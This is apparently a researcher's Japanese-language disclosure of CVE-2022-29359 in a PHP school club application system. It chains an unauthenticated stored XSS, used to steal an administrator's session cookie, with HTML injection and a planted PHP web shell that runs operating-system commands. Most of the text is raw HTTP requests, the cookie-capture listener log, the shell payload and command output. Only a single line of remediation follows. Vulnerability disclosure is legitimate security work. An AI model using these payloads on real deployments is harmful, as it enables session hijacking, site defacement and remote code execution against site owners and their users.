zsecure/cve-2022-29359CVE-2022-29359 - 学校申込システムにおける格納型クロスサイトスクリプティング
問題: 未認証の格納型クロスサイトスクリプティングからHTMLインジェクション、RCEへ
著者: Zak Clifford
日付: 12.04.2022
ベンダー: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html
ソフトウェア: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scas_0.zip
参照: https://github.com/ZSECURE
テスト環境: Windows、MySQL、Apache
フリーかつオープンソースソフトウェア（FOSS）アプリケーションをテスト中に、未認証の脅威アクターがブッククラブへの入部を申請し、XSSペイロードを注入して、アプリケーションの管理者（AdminまたはClub Adminロール）のセッションCookieを窃取できるという欠陥が確認されました。セッションCookieを使用して管理者としてアプリケーションにログインすると、about-us ページとホームページにPHPコードを追加できます。PHPシェルを追加することで、Webサーバー上でコマンドを実行することが可能です。
手動での手順: クラブに申請し、Submit Application をクリックします。
直接的な方法: 次のURLにアクセスします http://localhost/scas/?page=clubs/application_form&id=7
脆弱な入力フィールドのスクリーンショット:
firstname パラメータに次のペイロードを挿入します
m1st3r3">
ペイロードを含むPOSTリクエストは次のとおりです。
POST /scas/classes/Master.php?f=save_application HTTP/1.1
Host: localhost
Content-Length: 1326
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEWvm4hOYmjUAAlLT
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scas/?page=clubs/application_form&id=7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="id"
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="club_id"
7
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="firstname"
m1st3r3">
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="middlename"
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="lastname"
test
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="gender"
Male
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="year_level"
2022
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="section"
test
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="email"
[email protected]
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="contact"
0123456789
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="address"
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="message"
------WebKitFormBoundaryEWvm4hOYmjUAAlLT--
リクエストを取得するために、ポート8000で待ち受けるPython HTTP Webサーバーを起動します。
PS C:\xampp\htdocs\scas> python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:127.0.0.1 - - [11/Apr/2022 22:54:46] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [11/Apr/2022 23:15:37] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [12/Apr/2022 10:26:35] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [12/Apr/2022 10:26:49] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [12/Apr/2022 10:32:01] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
管理者またはクラブ管理者がログインして申請を表示すると、格納型XSSが発火し、セッションCookieを取得できる可能性があります。Cookieを取得できれば、そのCookieを使用して該当ユーザーとしてログインできます。
管理者のセッションCookieを使用すると、index.php と about-us.php にコードを注入してページを改ざんし、場合によってはコマンド実行が可能になります。
リクエスト:
POST /scas/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Content-Length: 5552
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylq5Nntc4amccqP1S
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scas/admin/?page=system
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=qvch5e9s97c9cfpsi23f2iureq
Connection: close
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="name"
School Club Application System
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="short_name"
SCAS - PHP
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[welcome]"
<h1>HTML injection is possible here!</h1><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce bibendum leo in purus commodo accumsan. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam et ligula gravida, rhoncus magna vel, tristique nibh. Nullam molestie, risus ac pretium mattis, massa dui tristique nunc, eu lacinia leo lorem consequat libero. Donec vitae nisi semper, pulvinar felis quis, mattis sem. Nulla quis dolor in lorem tempor posuere. Mauris non nunc vel ex malesuada pellentesque non egestas ligula. Donec consequat nunc non enim pretium aliquet. Maecenas non arcu a quam aliquam malesuada ut eget arcu. Curabitur sit amet est lorem. Aenean commodo mi vel magna semper dignissim. Fusce commodo orci nec placerat laoreet. Praesent nisl lectus, varius sit amet molestie a, luctus ut ipsum. Sed quis massa quis lorem auctor eleifend. Integer eget nulla sit amet massa commodo porttitor. Duis justo tortor, euismod vitae leo ac, pharetra mattis justo.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Pellentesque auctor dictum porttitor. Ut ultricies feugiat mollis. Aenean pretium pulvinar aliquam. Maecenas lobortis ornare tortor vitae vestibulum. Quisque aliquam neque eget magna venenatis, sit amet auctor ex elementum. Etiam ullamcorper sapien quis metus interdum cursus. Curabitur quis ligula molestie, sollicitudin ipsum ac, fringilla dui. Ut sit amet ornare nulla. Vestibulum condimentum sem at velit vehicula, sit amet hendrerit augue finibus. In hac habitasse platea dictumst.</p>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[about]"
<h1>HTML injection is possible here!</h1><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">In scelerisque risus elit, sed imperdiet magna porttitor eu. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Etiam non augue eget lacus semper placerat in at libero. Sed a libero malesuada, pharetra elit posuere, sagittis ligula. Pellentesque aliquam ultrices arcu, sed blandit leo euismod in. Vestibulum luctus diam orci, eget convallis nisl dapibus rutrum. Aliquam nec dui lobortis, consectetur sem et, semper urna. Morbi at nunc nibh. Curabitur placerat tortor in quam dignissim volutpat. Integer ac purus vel nulla posuere gravida. Sed justo ex, venenatis eget interdum sit amet, tincidunt at neque. Cras vitae urna at leo commodo cursus. Duis at ligula non orci sodales ultricies. Fusce vulputate convallis augue, egestas semper diam condimentum et. Duis ante purus, tincidunt eu est in, ullamcorper molestie ante. Pellentesque sodales sit amet massa vitae vulputate.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">Quisque fringilla, mi quis blandit posuere, nulla lorem sagittis dui, et dapibus urna nisl et nisl. Sed vel leo rutrum, suscipit urna at, elementum augue. Donec vitae gravida lacus. Sed accumsan ligula sit amet nisi scelerisque, ac malesuada ligula pharetra. Nulla pellentesque nisl quis purus congue, id luctus lacus aliquam. Phasellus magna dolor, tempus vel cursus sed, sollicitudin sit amet est. Donec et ultrices odio. Proin posuere, arcu sit amet rhoncus sagittis, lacus mi porttitor dolor, quis ornare arcu ante ac tortor. Aliquam porttitor velit in viverra eleifend. Nam quis ullamcorper orci. Suspendisse bibendum justo id diam eleifend, non molestie libero mattis. Quisque felis nunc, fringilla sit amet pretium nec, rhoncus vel sapien. Proin auctor cursus nulla sed hendrerit.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><br></p>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="cover"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarylq5Nntc4amccqP1S--
前述のHTMLインジェクションの問題に続き、ページにPHPシェルを追加してコマンドを実行することが可能です。
このペイロード <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> を loren ipsum の末尾に追加します。
POST /scas/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Content-Length: 5552
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylq5Nntc4amccqP1S
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scas/admin/?page=system
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=qvch5e9s97c9cfpsi23f2iureq
Connection: close
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="name"
School Club Application System
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="short_name"
SCAS - PHP
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[welcome]"
<p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce bibendum leo in purus commodo accumsan. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam et ligula gravida, rhoncus magna vel, tristique nibh. Nullam molestie, risus ac pretium mattis, massa dui tristique nunc, eu lacinia leo lorem consequat libero. Donec vitae nisi semper, pulvinar felis quis, mattis sem. Nulla quis dolor in lorem tempor posuere. Mauris non nunc vel ex malesuada pellentesque non egestas ligula. Donec consequat nunc non enim pretium aliquet. Maecenas non arcu a quam aliquam malesuada ut eget arcu. Curabitur sit amet est lorem. Aenean commodo mi vel magna semper dignissim. Fusce commodo orci nec placerat laoreet. Praesent nisl lectus, varius sit amet molestie a, luctus ut ipsum. Sed quis massa quis lorem auctor eleifend. Integer eget nulla sit amet massa commodo porttitor. Duis justo tortor, euismod vitae leo ac, pharetra mattis justo.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Pellentesque auctor dictum porttitor. Ut ultricies feugiat mollis. Aenean pretium pulvinar aliquam. Maecenas lobortis ornare tortor vitae vestibulum. Quisque aliquam neque eget magna venenatis, sit amet auctor ex elementum. Etiam ullamcorper sapien quis metus interdum cursus. Curabitur quis ligula molestie, sollicitudin ipsum ac, fringilla dui. Ut sit amet ornare nulla. Vestibulum condimentum sem at velit vehicula, sit amet hendrerit augue finibus. In hac habitasse platea dictumst.</p><?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[about]"
<p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">In scelerisque risus elit, sed imperdiet magna porttitor eu. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Etiam non augue eget lacus semper placerat in at libero. Sed a libero malesuada, pharetra elit posuere, sagittis ligula. Pellentesque aliquam ultrices arcu, sed blandit leo euismod in. Vestibulum luctus diam orci, eget convallis nisl dapibus rutrum. Aliquam nec dui lobortis, consectetur sem et, semper urna. Morbi at nunc nibh. Curabitur placerat tortor in quam dignissim volutpat. Integer ac purus vel nulla posuere gravida. Sed justo ex, venenatis eget interdum sit amet, tincidunt at neque. Cras vitae urna at leo commodo cursus. Duis at ligula non orci sodales ultricies. Fusce vulputate convallis augue, egestas semper diam condimentum et. Duis ante purus, tincidunt eu est in, ullamcorper molestie ante. Pellentesque sodales sit amet massa vitae vulputate.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">Quisque fringilla, mi quis blandit posuere, nulla lorem sagittis dui, et dapibus urna nisl et nisl. Sed vel leo rutrum, suscipit urna at, elementum augue. Donec vitae gravida lacus. Sed accumsan ligula sit amet nisi scelerisque, ac malesuada ligula pharetra. Nulla pellentesque nisl quis purus congue, id luctus lacus aliquam. Phasellus magna dolor, tempus vel cursus sed, sollicitudin sit amet est. Donec et ultrices odio. Proin posuere, arcu sit amet rhoncus sagittis, lacus mi porttitor dolor, quis ornare arcu ante ac tortor. Aliquam porttitor velit in viverra eleifend. Nam quis ullamcorper orci. Suspendisse bibendum justo id diam eleifend, non molestie libero mattis. Quisque felis nunc, fringilla sit amet pretium nec, rhoncus vel sapien. Proin auctor cursus nulla sed hendrerit.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><br></p><?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="cover"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarylq5Nntc4amccqP1S--
あとは、index.php ページをパラメータ cmd=<command> 付きでリクエストするだけで、コマンドを実行できます。
リクエスト:
GET /scas/index.php?cmd=dir HTTP/1.1
Host: localhost
Content-Length: 0
レスポンス:
HTTP/1.1 200 OK
<snipped for brevity>
<pre> Volume in drive C is OS
Volume Serial Number is 9C4B-142B
Directory of C:\xampp\htdocs\scas
10/04/2022 19:09 <DIR> .
10/04/2022 19:09 <DIR> ..
10/04/2022 15:35 225 .htaccess
12/04/2022 18:05 2,533 about.html
10/04/2022 15:35 220 about.php
10/04/2022 16:14 <DIR> admin
10/04/2022 16:15 <DIR> assets
10/04/2022 16:14 <DIR> classes
10/04/2022 17:17 <DIR> clubs
10/04/2022 16:14 <DIR> club_admin
10/04/2022 16:14 <DIR> club_contents
10/04/2022 15:35 1,297 config.php
10/04/2022 16:14 <DIR> database
10/04/2022 15:35 256 home.php
10/04/2022 16:14 <DIR> includes
10/04/2022 15:35 3,010 index.php
10/04/2022 15:35 647 initialize.php
10/04/2022 16:14 <DIR> uploads
12/04/2022 18:05 1,955 welcome.html
10 File(s) 11,553 bytes
11 Dir(s) 181,660,803,072 bytes free
</pre>
これが私の最初のCVEなので、どうか優しくしてください 😃
PHPSESSID をHTTPOnlyに設定する